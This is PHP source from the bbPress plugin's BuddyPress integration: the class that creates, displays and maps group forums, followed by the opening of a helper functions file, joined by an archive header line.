					<label for="bbp_group_forum_id"><?php esc_html_e( 'Group Forum:', 'bbpress' ); ?></label>
					<?php
						bbp_dropdown( array(
							'select_id' => 'bbp_group_forum_id',
							'show_none' => esc_html__( '&mdash; No forum &mdash;', 'bbpress' ),
							'selected'  => $forum_id
						) );
					?>
					<p class="description"><?php esc_html_e( 'Network administrators can reconfigure which forum belongs to this group.', 'bbpress' ); ?></p>
				</div>
			<?php endif; ?>

			<?php if ( ! is_admin() ) : ?>
				<input type="submit" value="<?php esc_attr_e( 'Save Settings', 'bbpress' ); ?>" />
			<?php endif; ?>

		</fieldset>

		<?php

		// Verify intent
		if ( is_admin() ) {
			wp_nonce_field( 'groups_edit_save_' . $this->slug, 'forum_group_admin_ui' );
		} else {
			wp_nonce_field( 'groups_edit_save_' . $this->slug );
		}
	}

	/**
	 * Save the Group Forum data on edit
	 *
	 * @since 2.0.0 bbPress (r3465)
	 *
	 * @param int $group_id (to handle Group Admin UI hook bp_group_admin_edit_after )
	 */
	public function edit_screen_save( $group_id = 0 ) {

		// Bail if not a POST action
		if ( ! bbp_is_post_request() ) {
			return;
		}

		// Admin Nonce check
		if ( is_admin() ) {
			check_admin_referer( 'groups_edit_save_' . $this->slug, 'forum_group_admin_ui' );

		// Theme-side Nonce check
		} elseif ( ! bbp_verify_nonce_request( 'groups_edit_save_' . $this->slug ) ) {
			bbp_add_error( 'bbp_edit_group_forum_screen_save', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
			return;
		}

		$edit_forum = ! empty( $_POST['bbp-edit-group-forum'] ) ? true : false;
		$forum_id   = 0;
		$group_id   = ! empty( $group_id ) ? $group_id : bp_get_current_group_id();

		// Keymasters have the ability to reconfigure forums
		if ( bbp_is_user_keymaster() ) {
			$forum_ids = ! empty( $_POST['bbp_group_forum_id'] ) ? (array) (int) $_POST['bbp_group_forum_id'] : array();

		// Use the existing forum IDs
		} else {
			$forum_ids = array_values( bbp_get_group_forum_ids( $group_id ) );
		}

		// Normalize group forum relationships now
		if ( ! empty( $forum_ids ) ) {

			// Loop through forums, and make sure they exist
			foreach ( $forum_ids as $forum_id ) {

				// Look for forum
				$forum = bbp_get_forum( $forum_id );

				// No forum exists, so break the relationship
				if ( empty( $forum ) ) {
					$this->remove_forum( array( 'forum_id' => $forum_id ) );
					unset( $forum_ids[ $forum_id ] );
				}
			}

			// No support for multiple forums yet
			$forum_id = (int) ( is_array( $forum_ids )
				? $forum_ids[0]
				: $forum_ids );
		}

		// Update the group ID and forum ID relationships
		bbp_update_group_forum_ids( $group_id, (array) $forum_ids );
		bbp_update_forum_group_ids( $forum_id, (array) $group_id  );

		// Update the group forum setting
		$group = $this->toggle_group_forum( $group_id, $edit_forum );

		// Create a new forum
		if ( empty( $forum_id ) && ( true === $edit_forum ) ) {

			// Set the default forum status
			switch ( $group->status ) {
				case 'hidden'  :
					$status = bbp_get_hidden_status_id();
					break;
				case 'private' :
					$status = bbp_get_private_status_id();
					break;
				case 'public'  :
				default        :
					$status = bbp_get_public_status_id();
					break;
			}

			// Create the initial forum
			$forum_id = bbp_insert_forum( array(
				'post_parent'  => bbp_get_group_forums_root_id(),
				'post_title'   => $group->name,
				'post_content' => $group->description,
				'post_status'  => $status
			) );

			// Setup forum args with forum ID
			$new_forum_args = array( 'forum_id' => $forum_id );

			// If in admin, also include the group ID
			if ( is_admin() && ! empty( $group_id ) ) {
				$new_forum_args['group_id'] = $group_id;
			}

			// Run the BP-specific functions for new groups
			$this->new_forum( $new_forum_args );
		}

		// Redirect after save when not in admin
		if ( ! is_admin() ) {
			bp_core_redirect( trailingslashit( bp_get_group_permalink( buddypress()->groups->current_group ) . '/admin/' . $this->slug ) );
		}
	}

	/**
	 * Adds a meta-box to BuddyPress Group Admin UI
	 *
	 * @since 2.3.0 bbPress (r4814)
	 */
	public function group_admin_ui_edit_screen() {
		add_meta_box(
			'bbpress_group_admin_ui_meta_box',
			_x( 'Discussion Forum', 'group admin edit screen', 'bbpress' ),
			array( $this, 'group_admin_ui_display_metabox' ),
			get_current_screen()->id,
			'side',
			'core'
		);
	}

	/**
	 * Displays the bbPress meta-box in BuddyPress Group Admin UI
	 *
	 * @since 2.3.0 bbPress (r4814)
	 *
	 * @param object $item (group object)
	 */
	public function group_admin_ui_display_metabox( $item ) {
		$this->edit_screen( $item );
	}

	/** Create ****************************************************************/

	/**
	 * Show forums and new forum form when creating a group
	 *
	 * @since 2.0.0 bbPress (r3465)
	 */
	public function create_screen( $group_id = 0 ) {

		// Bail if not looking at this screen
		if ( !bp_is_group_creation_step( $this->slug ) ) {
			return false;
		}

		// Check for possibly empty group_id
		if ( empty( $group_id ) ) {
			$group_id = bp_get_new_group_id();
		}

		$checked = bp_get_new_group_enable_forum() || groups_get_groupmeta( $group_id, 'forum_id' ); ?>

		<h2><?php esc_html_e( 'Group Forum', 'bbpress' ); ?></h2>

		<p><?php esc_html_e( 'Create a discussion forum to allow members of this group to communicate in a structured, bulletin-board style fashion.', 'bbpress' ); ?></p>

		<div class="checkbox">
			<label for="bbp-create-group-forum"><input type="checkbox" name="bbp-create-group-forum" id="bbp-create-group-forum" value="1"<?php checked( $checked ); ?> /> <?php esc_html_e( 'Yes. I want this group to have a forum.', 'bbpress' ); ?></label>
		</div>

		<?php
	}

	/**
	 * Save the Group Forum data on create
	 *
	 * @since 2.0.0 bbPress (r3465)
	 */
	public function create_screen_save( $group_id = 0 ) {

		// Nonce check
		if ( ! bbp_verify_nonce_request( 'groups_create_save_' . $this->slug ) ) {
			bbp_add_error( 'bbp_create_group_forum_screen_save', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
			return;
		}

		// Check for possibly empty group_id
		if ( empty( $group_id ) ) {
			$group_id = bp_get_new_group_id();
		}

		$create_forum = ! empty( $_POST['bbp-create-group-forum'] ) ? true : false;
		$forum_id     = 0;
		$forum_ids    = bbp_get_group_forum_ids( $group_id );

		if ( ! empty( $forum_ids ) ) {
			$forum_id = (int) is_array( $forum_ids ) ? $forum_ids[0] : $forum_ids;
		}

		// Create a forum, or not
		switch ( $create_forum ) {
			case true  :

				// Bail if initial content was already created
				if ( ! empty( $forum_id ) ) {
					return;
				}

				// Set the default forum status
				switch ( bp_get_new_group_status() ) {
					case 'hidden'  :
						$status = bbp_get_hidden_status_id();
						break;
					case 'private' :
						$status = bbp_get_private_status_id();
						break;
					case 'public'  :
					default        :
						$status = bbp_get_public_status_id();
						break;
				}

				// Create the initial forum
				$forum_id = bbp_insert_forum( array(
					'post_parent'  => bbp_get_group_forums_root_id(),
					'post_title'   => bp_get_new_group_name(),
					'post_content' => bp_get_new_group_description(),
					'post_status'  => $status
				) );

				// Run the BP-specific functions for new groups
				$this->new_forum( array( 'forum_id' => $forum_id ) );

				// Update forum active
				groups_update_groupmeta( bp_get_new_group_id(), '_bbp_forum_enabled_' . $forum_id, true );

				// Toggle forum on
				$this->toggle_group_forum( bp_get_new_group_id(), true );

				break;
			case false :

				// Forum was created but is now being undone
				if ( ! empty( $forum_id ) ) {

					// Delete the forum
					wp_delete_post( $forum_id, true );

					// Delete meta values
					groups_delete_groupmeta( bp_get_new_group_id(), 'forum_id' );
					groups_delete_groupmeta( bp_get_new_group_id(), '_bbp_forum_enabled_' . $forum_id );

					// Toggle forum off
					$this->toggle_group_forum( bp_get_new_group_id(), false );
				}

				break;
		}
	}

	/**
	 * Used to start an output buffer
	 *
	 * @since 2.1.0 bbPress (r3746)
	 */
	public function ob_start() {
		ob_start();
	}

	/**
	 * Used to end an output buffer
	 *
	 * @since 2.1.0 bbPress (r3746)
	 */
	public function ob_end_clean() {
		ob_end_clean();
	}

	/**
	 * Creating a group forum or category (including root for group)
	 *
	 * @since 2.1.0 bbPress (r3653)
	 *
	 * @param array $forum_args
	 *
	 * @return void if no forum_id is available
	 */
	public function new_forum( $forum_args = array() ) {

		// Bail if no forum_id was passed
		if ( empty( $forum_args['forum_id'] ) ) {
			return;
		}

		// Validate forum_id
		$forum_id = bbp_get_forum_id( $forum_args['forum_id'] );
		$group_id = ! empty( $forum_args['group_id'] ) ? $forum_args['group_id'] : bp_get_current_group_id();

		bbp_add_forum_id_to_group( $group_id, $forum_id );
		bbp_add_group_id_to_forum( $forum_id, $group_id );
	}

	/**
	 * Removing a group forum or category (including root for group)
	 *
	 * @since 2.1.0 bbPress (r3653)
	 *
	 * @param array $forum_args
	 *
	 * @return void if no forum_id is available
	 */
	public function remove_forum( $forum_args = array() ) {

		// Bail if no forum_id was passed
		if ( empty( $forum_args['forum_id'] ) ) {
			return;
		}

		// Validate forum_id
		$forum_id = bbp_get_forum_id( $forum_args['forum_id'] );
		$group_id = ! empty( $forum_args['group_id'] ) ? $forum_args['group_id'] : bp_get_current_group_id();

		bbp_remove_forum_id_from_group( $group_id, $forum_id );
		bbp_remove_group_id_from_forum( $forum_id, $group_id );
	}

	/**
	 * Listening to BuddyPress Group deletion to remove the forum
	 *
	 * @since 2.3.0 bbPress (r4815)
	 *
	 * @param int $group_id The group ID
	 */
	public function disconnect_forum_from_group( $group_id = 0 ) {

		// Bail if no group ID available
		if ( empty( $group_id ) ) {
			return;
		}

		// Get the forums for the current group
		$forum_ids = bbp_get_group_forum_ids( $group_id );

		// Bail if no forum IDs available
		if ( empty( $forum_ids ) ) {
			return;
		}

		// Get the first forum ID
		$forum_id = (int) is_array( $forum_ids ) ? $forum_ids[0] : $forum_ids;
		$this->remove_forum( array(
			'forum_id' => $forum_id,
			'group_id' => $group_id
		) );
	}

	/**
	 * Set forums' status to match the privacy status of the associated group
	 *
	 * Fired whenever a group is saved
	 *
	 * @param BP_Groups_Group $group Group object.
	 */
	public static function update_group_forum_visibility( BP_Groups_Group $group ) {

		// Get group forum IDs
		$forum_ids = bbp_get_group_forum_ids( $group->id );

		// Bail if no forum IDs available
		if ( empty( $forum_ids ) ) {
			return;
		}

		// Loop through forum IDs
		foreach ( $forum_ids as $forum_id ) {

			// Get forum from ID
			$forum = bbp_get_forum( $forum_id );

			// Check for change
			if ( $group->status !== $forum->post_status ) {
				switch ( $group->status ) {

					// Changed to hidden
					case 'hidden' :
						bbp_hide_forum( $forum_id, $forum->post_status );
						break;

					// Changed to private
					case 'private' :
						bbp_privatize_forum( $forum_id, $forum->post_status );
						break;

					// Changed to public
					case 'public' :
					default :
						bbp_publicize_forum( $forum_id, $forum->post_status );
						break;
				}
			}
		}
	}

	/**
	 * Toggle the enable_forum group setting on or off
	 *
	 * @since 2.3.0 bbPress (r4612)
	 *
	 * @param int $group_id The group to toggle
	 * @param bool $enabled True for on, false for off
	 * @return False if group is not found, otherwise return the group
	 */
	public function toggle_group_forum( $group_id = 0, $enabled = false ) {

		// Get the group
		$group = groups_get_group( array( 'group_id' => $group_id ) );

		// Bail if group cannot be found
		if ( empty( $group ) ) {
			return false;
		}

		// Set forum enabled status
		$group->enable_forum = (int) $enabled;

		// Save the group
		$group->save();

		// Maybe disconnect forum from group
		if ( empty( $enabled ) ) {
			$this->disconnect_forum_from_group( $group_id );
		}

		// Update internal private and forum ID variables
		bbp_repair_forum_visibility();

		// Return the group
		return $group;
	}

	/** Display Methods *******************************************************/

	/**
	 * Output the forums for a group in the edit screens
	 *
	 * As of right now, bbPress only supports 1-to-1 group forum relationships.
	 * In the future, many-to-many should be allowed.
	 *
	 * @since 2.1.0 bbPress (r3653)
	 */
	public function display_forums( $offset = 0 ) {

		// Allow actions immediately before group forum output
		do_action( 'bbp_before_group_forum_display' );

		// Load up bbPress once
		$bbp = bbpress();

		/** Query Resets ******************************************************/

		// Forum data
		$forum_action = bp_action_variable( $offset );
		$forum_ids    = bbp_get_group_forum_ids( bp_get_current_group_id() );
		$forum_id     = array_shift( $forum_ids );

		// Always load up the group forum
		bbp_has_forums( array(
			'p'           => $forum_id,
			'post_parent' => null
		) );

		// Set the global forum ID
		$bbp->current_forum_id = $forum_id;

		// Assume forum query
		bbp_set_query_name( 'bbp_single_forum' ); ?>

		<div id="bbpress-forums" class="bbpress-wrapper">

			<?php switch ( $forum_action ) :

				/** Single Forum **********************************************/

				case false  :
				case 'page' :

					// Strip the super stickies from topic query
					add_filter( 'bbp_get_super_stickies', array( $this, 'no_super_stickies'  ), 10, 1 );

					// Unset the super sticky option on topic form
					add_filter( 'bbp_get_topic_types',    array( $this, 'unset_super_sticky' ), 10, 1 );

					// Query forums and show them if they exist
					if ( bbp_forums() ) :

						// Setup the forum
						bbp_the_forum();

						// Only wrap title in H2 if not empty
						$title = bbp_get_forum_title();
						if ( ! empty( $title ) ) {
							echo '<h2>' . $title . '</h2>';
						}

						// Output forum
						bbp_get_template_part( 'content', 'single-forum' );

					// No forums found
					else : ?>

						<div id="message" class="info">
							<p><?php esc_html_e( 'This group does not currently have a forum.', 'bbpress' ); ?></p>
						</div>

					<?php endif;

					break;

				/** Single Topic **********************************************/

				case $this->topic_slug :

					// hide the 'to front' admin links
					add_filter( 'bbp_get_topic_stick_link', array( $this, 'hide_super_sticky_admin_link' ), 10, 2 );

					// Get the topic
					bbp_has_topics( array(
						'name'           => bp_action_variable( $offset + 1 ),
						'posts_per_page' => 1,
						'show_stickies'  => false
					) );

					// If no topic, 404
					if ( ! bbp_topics() ) {
						bp_do_404( bbp_get_forum_permalink( $forum_id ) );

						// Only wrap title in H2 if not empty
						$title = bbp_get_forum_title();
						if ( ! empty( $title ) ) {
							echo '<h2>' . $title . '</h2>';
						}

						// No topics
						bbp_get_template_part( 'feedback', 'no-topics' );
						break;
					}

					// Setup the topic
					bbp_the_topic();

					// Only wrap title in H2 if not empty
					$title = bbp_get_topic_title();
					if ( ! empty( $title ) ) {
						echo '<h2>' . $title . '</h2>';
					}

					// Topic edit
					if ( bp_action_variable( $offset + 2 ) === bbp_get_edit_slug() ) :

						// Unset the super sticky link on edit topic template
						add_filter( 'bbp_get_topic_types', array( $this, 'unset_super_sticky' ), 10, 1 );

						// Get the main query object
						$wp_query = bbp_get_wp_query();

						// Set the edit switches
						$wp_query->bbp_is_edit       = true;
						$wp_query->bbp_is_topic_edit = true;

						// Setup the global forum ID
						$bbp->current_topic_id       = get_the_ID();

						// Merge
						if ( ! empty( $_GET['action'] ) && 'merge' === $_GET['action'] ) :
							bbp_set_query_name( 'bbp_topic_merge' );
							bbp_get_template_part( 'form', 'topic-merge' );

						// Split
						elseif ( ! empty( $_GET['action'] ) && 'split' === $_GET['action'] ) :
							bbp_set_query_name( 'bbp_topic_split' );
							bbp_get_template_part( 'form', 'topic-split' );

						// Edit
						else :
							bbp_set_query_name( 'bbp_topic_form' );
							bbp_get_template_part( 'form', 'topic' );

						endif;

					// Single Topic
					else :
						bbp_set_query_name( 'bbp_single_topic' );
						bbp_get_template_part( 'content', 'single-topic' );
					endif;
					break;

				/** Single Reply **********************************************/

				case $this->reply_slug :

					// Get the reply
					bbp_has_replies( array(
						'name'           => bp_action_variable( $offset + 1 ),
						'posts_per_page' => 1
					) );

					// If no topic, 404
					if ( ! bbp_replies() ) {
						bp_do_404( bbp_get_forum_permalink( $forum_id ) );

						// Only wrap title in H2 if not empty
						$title = bbp_get_forum_title();
						if ( ! empty( $title ) ) {
							echo '<h2>' . $title . '</h2>';
						}

						// No replies
						bbp_get_template_part( 'feedback', 'no-replies' );
						break;
					}

					// Setup the reply
					bbp_the_reply();

					// Only wrap title in H2 if not empty
					$title = bbp_get_reply_title();
					if ( ! empty( $title ) ) {
						echo '<h2>' . $title . '</h2>';
					}

					if ( bp_action_variable( $offset + 2 ) === bbp_get_edit_slug() ) :

						// Get the main query object
						$wp_query = bbp_get_wp_query();

						// Set the edit switches
						$wp_query->bbp_is_edit       = true;
						$wp_query->bbp_is_reply_edit = true;

						// Setup the global reply ID
						$bbp->current_reply_id       = get_the_ID();

						// Move
						if ( ! empty( $_GET['action'] ) && ( 'move' === $_GET['action'] ) ) :
							bbp_set_query_name( 'bbp_reply_move' );
							bbp_get_template_part( 'form', 'reply-move' );

						// Edit
						else :
							bbp_set_query_name( 'bbp_reply_form' );
							bbp_get_template_part( 'form', 'reply' );
						endif;
					endif;
					break;
			endswitch;

			// Reset the query
			wp_reset_query(); ?>

		</div><!-- #bbpress-forums -->

		<?php

		// Allow actions immediately after group forum output
		do_action( 'bbp_after_group_forum_display' );
	}

	/** Super sticky filters ***************************************************/

	/**
	 * Strip super stickies from the topic query
	 *
	 * @since 2.3.0 bbPress (r4810)
	 *
	 * @access private
	 * @param array $super the super sticky post ID's
	 * @return array (empty)
	 */
	public function no_super_stickies( $super = array() ) {
		$super = array();
		return $super;
	}

	/**
	 * Unset the type super sticky from topic type
	 *
	 * @since 2.3.0 bbPress (r4810)
	 *
	 * @access private
	 * @param array $args
	 * @return array $args without the to-front link
	 */
	public function unset_super_sticky( $args = array() ) {
		if ( isset( $args['super'] ) ) {
			unset( $args['super'] );
		}
		return $args;
	}

	/**
	 * Ugly preg_replace to hide the to front admin link
	 *
	 * @since 2.3.0 bbPress (r4810)
	 *
	 * @access private
	 * @param string $retval
	 * @param array $args
	 * @return string $retval without the to-front link
	 */
	public function hide_super_sticky_admin_link( $retval = '', $args = array() ) {
		if ( strpos( $retval, '(' ) ) {
			$retval = preg_replace( '/(\(.+?)+(\))/i', '', $retval );
		}

		return $retval;
	}

	/** Redirect Helpers ******************************************************/

	/**
	 * Redirect to the group forum screen
	 *
	 * @since 2.1.0 bbPress (r3653)
	 *
	 * @param str $redirect_url
	 * @param str $redirect_to
	 */
	public function new_topic_redirect_to( $redirect_url = '', $redirect_to = '', $topic_id = 0 ) {
		if ( bp_is_group() ) {
			$topic        = bbp_get_topic( $topic_id );
			$topic_hash   = '#post-' . $topic_id;
			$redirect_url = trailingslashit( bp_get_group_permalink( groups_get_current_group() ) ) . trailingslashit( $this->slug ) . trailingslashit( $this->topic_slug ) . trailingslashit( $topic->post_name ) . $topic_hash;
		}

		return $redirect_url;
	}

	/**
	 * Redirect to the group forum screen
	 *
	 * @since 2.1.0 bbPress (r3653)
	 */
	public function new_reply_redirect_to( $redirect_url = '', $redirect_to = '', $reply_id = 0 ) {

		if ( bp_is_group() ) {
			$topic_id       = bbp_get_reply_topic_id( $reply_id );
			$topic          = bbp_get_topic( $topic_id );
			$reply_position = bbp_get_reply_position( $reply_id, $topic_id );
			$reply_page     = ceil( (int) $reply_position / (int) bbp_get_replies_per_page() );
			$reply_hash     = '#post-' . $reply_id;
			$topic_url      = trailingslashit( bp_get_group_permalink( groups_get_current_group() ) ) . trailingslashit( $this->slug ) . trailingslashit( $this->topic_slug ) . trailingslashit( $topic->post_name );

			// Don't include pagination if on first page
			if ( 1 >= $reply_page ) {
				$redirect_url = trailingslashit( $topic_url ) . $reply_hash;

			// Include pagination
			} else {
				$redirect_url = trailingslashit( $topic_url ) . trailingslashit( bbp_get_paged_slug() ) . trailingslashit( $reply_page ) . $reply_hash;
			}

			// Add topic view query arg back to end if it is set
			if ( bbp_get_view_all() ) {
				$redirect_url = bbp_add_view_all( $redirect_url );
			}
		}

		return $redirect_url;
	}

	/**
	 * Redirect to the group admin forum edit screen
	 *
	 * @since 2.1.0 bbPress (r3653)
	 */
	public function edit_redirect_to( $redirect_url = '' ) {

		// Get the current group, if there is one
		$group = groups_get_current_group();

		// If this is a group of any kind, empty out the redirect URL
		if ( bp_is_group_admin_screen( $this->slug ) ) {
			$redirect_url = trailingslashit( bp_get_root_domain() . '/' . bp_get_groups_root_slug() . '/' . $group->slug . '/admin/' . $this->slug );
		}

		return $redirect_url;
	}

	/** Form Helpers **********************************************************/

	/**
	 * Make Forum Parent a hidden field instead of a selectable one.
	 *
	 * @since 2.1.0 bbPress (r3746)
	 */
	public function forum_parent() {
	?>

		<input type="hidden" name="bbp_forum_parent_id" id="bbp_forum_parent_id" value="<?php bbp_group_forums_root_id(); ?>" />

	<?php
	}

	/**
	 * Output a dropdown for picking which group forum this topic is for.
	 *
	 * @since 2.1.0 bbPress (r3746)
	 */
	public function topic_parent() {

		// Get the group ID
		$gid       = bp_get_current_group_id();

		// Get the forum IDs for this group
		$forum_ids = bbp_get_group_forum_ids( $gid );

		// Attempt to get the current topic forum ID
		$topic_id  = bbp_get_topic_id();
		$forum_id  = bbp_get_topic_forum_id( $topic_id );

		// Setup the query arguments - note that these may be overridden later
		// by various bbPress visibility and capability filters.
		$args = array(
			'post_type'   => bbp_get_forum_post_type(),
			'post_status' => bbp_get_public_status_id(),
			'include'     => $forum_ids,
			'numberposts' => -1,
			'orderby'     => 'menu_order',
			'order'       => 'ASC',
		);

		// Get the forum objects for these forum IDs
		$forums = get_posts( $args );

		// Setup the dropdown arguments
		$dd_args = array(
			'posts'    => $forums,
			'selected' => $forum_id,
		); ?>

		<p>
			<label for="bbp_forum_id"><?php esc_html_e( 'Forum:', 'bbpress' ); ?></label><br />
			<?php bbp_dropdown( $dd_args ); ?>
		</p>

	<?php
	}

	/**
	 * Permissions to view the 'New Topic'/'Reply To' form in a BuddyPress group.
	 *
	 * @since 2.3.0 bbPress (r4608)
	 *
	 * @param bool $retval Are we allowed to view the reply form?
	 *
	 * @return bool
	 */
	public function form_permissions( $retval = false ) {

		// Bail if user is not logged in
		if ( ! is_user_logged_in() ) {
			return $retval;

		// Keymasters can always pass go
		} elseif ( bbp_is_user_keymaster() ) {
			$retval = true;

		// Non-members cannot see forms
		} elseif ( ! bbp_group_is_member() ) {
			$retval = false;

		// Banned users cannot see forms
		} elseif ( bbp_group_is_banned() ) {
			$retval = false;
		}

		return $retval;
	}

	/**
	 * Add a hidden input field on the group settings page if the group forum is
	 * enabled.
	 *
	 * Due to the way BuddyPress' group admin settings page saves its settings,
	 * we need to let BP know that bbPress added a forum.
	 *
	 * @since 2.4.0 bbPress (r5026)
	 *
	 * @link https://bbpress.trac.wordpress.org/ticket/2339/
	 * @see groups_screen_group_admin_settings()
	 */
	public function group_settings_hidden_field() {

		// if a forum is not enabled, we don't need to add this field
		if ( ! bp_group_is_forum_enabled() ) {
			return;
		} ?>

		<input type="hidden" name="group-show-forum" id="group-show-forum" value="1" />

	<?php
	}

	/** Permalink Mappers *****************************************************/

	/**
	 * Maybe map a bbPress forum/topic/reply permalink to the corresponding group
	 *
	 * @since 2.2.0 bbPress (r4266)
	 *
	 * @param int $post_id
	 * @return Bail early if not a group forum post
	 * @return string
	 */
	private function maybe_map_permalink_to_group( $post_id = 0, $url = false ) {

		switch ( get_post_type( $post_id ) ) {

			// Reply
			case bbp_get_reply_post_type() :
				$topic_id = bbp_get_reply_topic_id( $post_id );
				$forum_id = bbp_get_reply_forum_id( $post_id );
				$url_end  = trailingslashit( $this->reply_slug ) . get_post_field( 'post_name', $post_id );
				break;

			// Topic
			case bbp_get_topic_post_type() :
				$topic_id = $post_id;
				$forum_id = bbp_get_topic_forum_id( $post_id );
				$url_end  = trailingslashit( $this->topic_slug ) . get_post_field( 'post_name', $post_id );
				break;

			// Forum
			case bbp_get_forum_post_type() :
				$forum_id = $post_id;
				$url_end  = ''; //get_post_field( 'post_name', $post_id );
				break;

			// Unknown
			default :
				return $url;
		}

		// Get group ID's for this forum
		$group_ids = bbp_get_forum_group_ids( $forum_id );

		// Bail if the post isn't associated with a group
		if ( empty( $group_ids ) ) {
			return $url;
		}

		// @todo Multiple group forums/forum groups
		$group_id = $group_ids[0];
		$group    = groups_get_group( array( 'group_id' => $group_id ) );

		if ( bp_is_group_admin_screen( $this->slug ) ) {
			$group_permalink = trailingslashit( bp_get_group_admin_permalink( $group ) );
		} else {
			$group_permalink = trailingslashit( bp_get_group_permalink( $group ) );
		}

		return trailingslashit( trailingslashit( $group_permalink . $this->slug ) . $url_end );
	}

	/**
	 * Map a forum permalink to its corresponding group
	 *
	 * @since 2.1.0 bbPress (r3802)
	 *
	 * @param string $url
	 * @param int $forum_id
	 * @return string
	 */
	public function map_forum_permalink_to_group( $url, $forum_id ) {
		return $this->maybe_map_permalink_to_group( $forum_id, $url );
	}

	/**
	 * Map a topic permalink to its group forum
	 *
	 * @since 2.1.0 bbPress (r3802)
	 *
	 * @param string $url
	 * @param int $topic_id
	 * @return string
	 */
	public function map_topic_permalink_to_group( $url, $topic_id ) {
		return $this->maybe_map_permalink_to_group( $topic_id, $url );
	}

	/**
	 * Map a reply permalink to its group forum
	 *
	 * @since 2.1.0 bbPress (r3802)
	 *
	 * @param string $url
	 * @param int $reply_id
	 * @return string
	 */
	public function map_reply_permalink_to_group( $url, $reply_id ) {
		return $this->maybe_map_permalink_to_group( bbp_get_reply_topic_id( $reply_id ), $url );
	}

	/**
	 * Map a reply edit link to its group forum
	 *
	 * @since 2.2.0 bbPress (r4266)
	 *
	 * @param string $url
	 * @param int $reply_id
	 * @return string
	 */
	public function map_reply_edit_url_to_group( $url, $reply_id ) {
		$new = $this->maybe_map_permalink_to_group( $reply_id );

		if ( empty( $new ) ) {
			return $url;
		}

		return trailingslashit( $new ) . bbpress()->edit_id  . '/';
	}

	/**
	 * Map a post link to its group forum
	 *
	 * @since 2.2.0 bbPress (r4266)
	 *
	 * @param string $url
	 * @param obj $post
	 * @param boolean $leavename
	 * @return string
	 */
	public function post_link( $url, $post ) {
		return $this->maybe_map_permalink_to_group( $post->ID, $url );
	}

	/**
	 * Map a page link to its group forum
	 *
	 * @since 2.2.0 bbPress (r4266)
	 *
	 * @param string $url
	 * @param int $post_id
	 * @param $sample
	 * @return string
	 */
	public function page_link( $url, $post_id ) {
		return $this->maybe_map_permalink_to_group( $post_id, $url );
	}

	/**
	 * Map a custom post type link to its group forum
	 *
	 * @since 2.2.0 bbPress (r4266)
	 *
	 * @param string $url
	 * @param obj $post
	 * @param $leavename
	 * @param $sample
	 * @return string
	 */
	public function post_type_link( $url, $post ) {
		return $this->maybe_map_permalink_to_group( $post->ID, $url );
	}

	/**
	 * Fix pagination of topics on forum view
	 *
	 * @since 2.2.0 bbPress (r4266)
	 *
	 * @param array $args
	 * @return array
	 */
	public function topic_pagination( $args ) {
		$new = $this->maybe_map_permalink_to_group( bbp_get_forum_id() );

		if ( empty( $new ) ) {
			return $args;
		}

		$args['base'] = trailingslashit( $new ) . bbp_get_paged_slug() . '/%#%/';

		return $args;
	}

	/**
	 * Fix pagination of replies on topic view
	 *
	 * @since 2.2.0 bbPress (r4266)
	 *
	 * @param array $args
	 * @return array
	 */
	public function replies_pagination( $args ) {
		$new = $this->maybe_map_permalink_to_group( bbp_get_topic_id() );
		if ( empty( $new ) ) {
			return $args;
		}

		$args['base'] = trailingslashit( $new ) . bbp_get_paged_slug() . '/%#%/';

		return $args;
	}

	/**
	 * Ensure that forum content associated with a BuddyPress group can only be
	 * viewed via the group URL.
	 *
	 * @since 2.1.0 bbPress (r3802)
	 */
	public function redirect_canonical() {

		// Bail if on a RSS feed
		if ( is_feed() ) {
			return;
		}

		// Viewing a single forum
		if ( bbp_is_single_forum() ) {
			$forum_id  = get_the_ID();
			$group_ids = bbp_get_forum_group_ids( $forum_id );

		// Viewing a single topic
		} elseif ( bbp_is_single_topic() ) {
			$topic_id  = get_the_ID();
			$slug      = get_post_field( 'post_name', $topic_id );
			$forum_id  = bbp_get_topic_forum_id( $topic_id );
			$group_ids = bbp_get_forum_group_ids( $forum_id );

		// Not a forum or topic
		} else {
			return;
		}

		// Bail if not a group forum
		if ( empty( $group_ids ) ) {
			return;
		}

		// Use the first group ID
		$group_id 	 = $group_ids[0];
		$group    	 = groups_get_group( array( 'group_id' => $group_id ) );
		$group_link  = trailingslashit( bp_get_group_permalink( $group ) );
		$redirect_to = trailingslashit( $group_link . $this->slug );

		// Add topic slug to URL
		if ( bbp_is_single_topic() ) {
			$redirect_to  = trailingslashit( $redirect_to . $this->topic_slug . '/' . $slug );
		}

		bp_core_redirect( $redirect_to );
	}

	/** Activity **************************************************************/

	/**
	 * Map a forum post to its corresponding group in the group activity stream.
	 *
	 * @since 2.2.0 bbPress (r4396)
	 *
	 * @param array $args Arguments from BBP_BuddyPress_Activity::record_activity()
	 *
	 * @return array
	 */
	public function map_activity_to_group( $args = array() ) {

		// Get current BP group
		$group = groups_get_current_group();

		// Not posting from a BuddyPress group? stop now!
		if ( empty( $group ) ) {
			return $args;
		}

		// Set the component to 'groups' so the activity item shows up in the group
		$args['component']         = buddypress()->groups->id;

		// Move the forum post ID to the secondary item ID
		$args['secondary_item_id'] = $args['item_id'];

		// Set the item ID to the group ID so the activity item shows up in the group
		$args['item_id']           = $group->id;

		// Update the group's last activity
		groups_update_last_activity( $group->id );

		return $args;
	}
}
endif;
includes/extend/buddypress/functions.php000066600000055323151771460310014567 0ustar00<?php

/**
 * Main bbPress BuddyPress Class
 *
 * @package bbPress
 * @subpackage BuddyPress
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

// Hooks
add_filter( 'bp_modify_page_title', 'bbp_filter_modify_page_title', 10, 3 );
add_filter( 'bbp_get_user_id',      'bbp_filter_user_id',           10, 3 );
add_filter( 'bbp_is_single_user',   'bbp_filter_is_single_user',    10, 1 );
add_filter( 'bbp_is_user_home',     'bbp_filter_is_user_home',      10, 1 );

// Group Forum Root
add_action( 'load-settings_page_bbpress', 'bbp_maybe_create_group_forum_root' );
add_action( 'bbp_delete_forum',           'bbp_maybe_delete_group_forum_root' );

/** BuddyPress Helpers ********************************************************/

/**
 * Return component name/ID ('forums' by default)
 *
 * This is used primarily for Notifications integration.
 *
 * @since 2.6.0 bbPress (r5232)
 *
 * @return string
 */
function bbp_get_component_name() {

	// Use existing ID or default
	$retval = ! empty( bbpress()->extend->buddypress->id )
		? bbpress()->extend->buddypress->id
		: 'forums';

	// Filter & return
	return apply_filters( 'bbp_get_component_name', $retval );
}

/**
 * Filter the current bbPress user ID with the current BuddyPress user ID
 *
 * @since 2.1.0 bbPress (r3552)
 *
 * @param int $user_id
 * @param bool $displayed_user_fallback
